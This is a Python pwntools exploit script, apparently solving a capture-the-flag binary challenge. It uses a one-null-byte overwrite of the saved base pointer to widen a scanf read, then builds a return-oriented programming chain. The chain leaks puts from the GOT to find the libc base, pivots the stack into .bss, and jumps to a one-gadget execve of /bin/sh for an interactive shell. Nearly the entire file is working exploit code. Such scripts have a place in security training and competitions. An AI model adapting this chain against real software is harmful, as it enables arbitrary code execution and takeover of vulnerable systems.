#!/usr/bin/env python

from pwn import *

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    p.recvuntil('your ID:')

    p.sendline(''.join(random.choice(string.letters) for _ in range(10)))

    p.recvuntil('>')

    p.sendline('1')

    p.recvuntil('Note:')

    # one-null-byte-write in order to zero out least significant byte of saved RBP
    # after Edit Note's scanf returns, the main's scanf will be executed with "%256s" instead
    # of "%d" because RBP is changed
    p.sendline('A' * 0xa8 + p64(0x401129) + 'A' * (256 - 0xa8 - 0x8))

    p.recvuntil('> ')

    # here we are going to replace main's scanf return address
    payload  = 'A' * 0x64

    # puts(puts@GOT) in order to leak puts' address to find libc base
    payload += p64(0x400fff)               # pop rbp; pop r14; pop r15; ret;
    payload += p64(0x601f90)               # rbp <= puts@GOT address
    payload += p64(0)                      # r14
    payload += p64(0)                      # r15
    payload += p64(0x401003)               # pop rdi; ret;
    payload += p64(0x601f90)               # rdi <= puts@GOT address
    payload += p64(0x4012b3)               # jmp qword ptr [rbp];

    # scanf("%256s", lower part of .bss) in order to create the second payload in the lower part of .bcc
    payload += p64(0x400fff)               # pop rbp; pop r14; pop r15; ret;
    payload += p64(0x601ff0)               # rbp <= scanf@GOT address
    payload += p64(0)                      # r14
    payload += p64(0)                      # r15
    payload += p64(0x401001)               # pop rsi; pop r15; ret;
    payload += p64(0x602100)               # rsi <= lower part of .bss
    payload += p64(0)                      # r15
    payload += p64(0x401003)               # pop rdi; ret;
    payload += p64(0x401129)               # rdi <= %256s
    payload += p64(0x4012b3)               # jmp qword ptr [rbp];

    # pivot rsp to lower part of .bss
    payload += p64(0x400ffd)               # pop rsp; pop r13; pop r14; pop r15; ret;
    payload += p64(0x602100)               # rsp <= lower part of .bss

    p.sendline(payload)

    puts_addr = u64(p.recv()[0:6] + '\00\00')
    print 'puts addr: ' + hex(puts_addr)

    libc_base = puts_addr - 0x6f690
    print 'libc base: ' + hex(libc_base)

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL
    '''

    payload  = p64(0)                       # r13
    payload += p64(0)                       # r14
    payload += p64(0)                       # r15
    payload += p64(libc_base + 0x4526a)     # one gadget execve
    payload += '\00' * (256 - 4 * 8)        # to satisfy [rsp+0x30] == NULL

    p.sendline(payload)

    p.interactive()

